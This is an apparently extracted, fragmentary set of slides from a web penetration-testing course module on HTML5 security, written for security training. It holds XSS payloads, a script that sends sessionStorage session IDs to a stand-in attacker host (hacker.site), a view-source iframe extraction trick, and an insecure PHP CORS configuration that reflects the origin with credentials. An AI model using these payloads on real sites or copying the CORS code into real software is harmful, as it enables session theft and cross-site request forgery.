106_HTML5
106_HTML5
Penetration Testing
eXtreme
HTML5
S e c t i o n 0 1 | M o d u l e 0 6
© Caendra Inc. 2020
All Rights Reserved
Table of Contents
MODULE 06 | HTML5
6.1 HTML5: Introduction, Recap & More
HTML5
Introduction, Recap & More
multimedia
video, audio,
peer to peer… performance & integration
user interaction, workers, security,
storage history & navigation…
Key-value storage,
database storage, files…
Media Elements
Among the Media Elements, both <video> and <audio> are
commonly used to evade XSS filters. In addition, <source>,
<track> and <embed> are also useful due to the fact that
they support the src attribute.
<embed src="http://hacker.site/evil.swf">
<embed src="javascript:alert(1)">
WAPTXv2: Section 01, Module 06 - Caendra Inc. © 2020 | p.10
6.1.2.3 Semantic / Structural Elements
Semantic/Structural Elements
There are many other elements introduced to improve the
semantic and the structure of a page, such as:
<article>, <figure>, <footer>, <header>, <main>, <mark>,
<nav>, <progress>, <section>, <summary>, <time>, etc.
Attributes
There is also a huge list of new events and some
interesting examples are: onhashchange, onformchange,
onscroll, onresize ...
<body onhashchange="alert(1)">
<a href="#">Click me!</a>
Session Hijacking
For example, if a developer chooses to store session IDs by
using sessionStorage instead of cookies, it is still
possible to perform session hijacking by leveraging an XSS
flaw.
Session Hijacking
Furthermore, web storage solutions do not implement
security mechanisms to mitigate the risk of malicious
access to the stored information (see HttpOnly).
Exploiting HTML5
4
1
2 CORS
SOP
Allow by server-side
So, what can developers do? They can simply adjust the
implementation server-side, allowing COR from all domains
with credentials included!
<?php
header('Access-Control-Allow-Origin: ' + $_SERVER['HTTP_ORIGIN']);
header('Access-Control-Allow-Credentials: true');
Allow by server-side
By design, this implementation clearly allows CSRF.
JS-Recon
For this purpose, Lavakumar Kuppan has developed JS-
Recon. This is an HTML5 based JavaScript Network
Reconnaissance tool, which leverages features like COR
and Web Sockets in order to perform both network and port
scanning from the browser. The tool is also useful for
guessing user’s private IP addresses.
Hacker.site
feedbacks
victim.site
Read feedbacks
<Insert link here> WAPTXv2: Section 01, Module 06 - Caendra Inc. © 2020 | p.51
6.2.2.1 Web Storage
Session Hijacking
A developer may use Session Storage (and/or Local
Storage) as an alternative to HTTP cookies by storing the
session identifiers in session storage.
Session Hijacking
The exploitation is similar to the one used for cookies, but
the only difference is in the API used to retrieve the values.
<script>
new Image().src = "http://hacker.site/C.php?cc=" +
escape(sessionStorage.getItem('sessionID'));
</script>
Before was
document.cookie
WAPTXv2: Section 01, Module 06 - Caendra Inc. © 2020 | p.54
6.2.2.1.1 Session Hijacking
Session Hijacking
Despite document.cookie, the attacker needs to be more
precise because the name of the key used to store the
session ID may change. This is because of its dependence
on the web application targeted. However, the advantages
using this technique are greater.
Session Hijacking
HTTP cookies have attributes, such as HTTPOnly, that were
introduced to stop the session hijacking phenomena.
Cross-directory Attacks
Another important difference is that, unlike HTTP cookies,
there is no feature to restrict the access by pathname,
making the Web Storage content available in the whole origin.
This may also introduce Cross-directory attacks.
Cross-directory Attacks
This attack may apply to web applications that use Web
Storage in hosting environments that assign different
directories per user.
Cross-directory Attacks
For example, if an XSS flaw is found in the university path
theuni.edu/~professorX, it is possible to read all stored data
in all the directories available in the university domain
theuni.edu.
In this case, the hosting web page can receive content from
other domains without the server being involved, thus
bypassing possible server-side security checks.
From a security point of view, Web Workers did not introduce new
threats. However, it provided a new way that was both easier and, at
times, quicker for common attack vectors to be exploited. These
can also use other HTML5 technologies such as Web Sockets or
CORS in order to increase the performance and feasibility of the
attack.
http://www.w3.org/TR/workers/#dedicated-workers-and-the-worker-interface WAPTXv2: Section 01, Module 06 - Caendra Inc. © 2020 | p.83
http://www.w3.org/TR/workers/#shared-workers-and-the-sharedworker-interface
6.2.5.1 Browser-Based Botnet
1
Infect victims
2
Manage
Persistence
2
Manage
Persistence
DDoS
Attacks
Intranet
Phishing Data Reconnaissance
Mining
Again, this was also possible before; however, the key here
is the performance that can be gained using multiple
browsers (bots) and CORS. Clearly, there are also some
technical limitations with CORS.
http://victim.site/dossable.php?search=x
HTML5 Security
Measures
delta-seconds
Tells the user-agent to cache the domain
in the STS list for the seconds specified.
(Optional)
One year in cache is max-age=31536000 Applies STS to the
domain and subdomains
While to remove or “not cache” is max-age=0
For example:
Content-Security-Policy: default-src 'self'
default-src frame-src
script-src font-src
Reporting
object-src connect-src feature
style-src report-uri
img-src sandbox
media-src OPTIONAL
UI Redressing: The
x-Jacking Art
Hacking Steps
Content Extraction
The dual of the previous attack allows us to extract content
from areas we cannot access (i.e., restricted areas). In this
scenario, we must trick the victim into dragging their private
data into areas under our control.
Content Extraction
If the secret is part of a URL, in an HTML anchor element or
an image, dragging is quite easy. In fact, when the elements
are dropped onto a target location, they will be converted
into a serialized URL.
2. Drag-and-
Drop
1. Select
Content Extraction
Sometimes, information in clear text is not enough and we
need to go deeper into the page.
Content Extraction
We could use the view-source: pseudo-protocol to load the HTML
source code into an iframe. So instead of using:
<iframe src="http://victim.site/secretInfoHere/"></iframe>
We change the src attribute to:
<iframe src="view-source:http:// victim.site/secretInfoHere/"></iframe>
Secret fields
Content Extraction
The downside of this approach is that, despite many
browsers supporting the view-source pseudo protocol, this
technique only works on Firefox, without the NoScript add-
on.
TiddlyWiki
http://tiddlywiki.com/
Fullscreen API
https://dvcs.w3.org/hg/fullscreen/raw-file/tip/Overview.html
Cross-Document Messaging
https://html.spec.whatwg.org/multipage/web-messaging.html
RFC6455
http://tools.ietf.org/html/rfc6455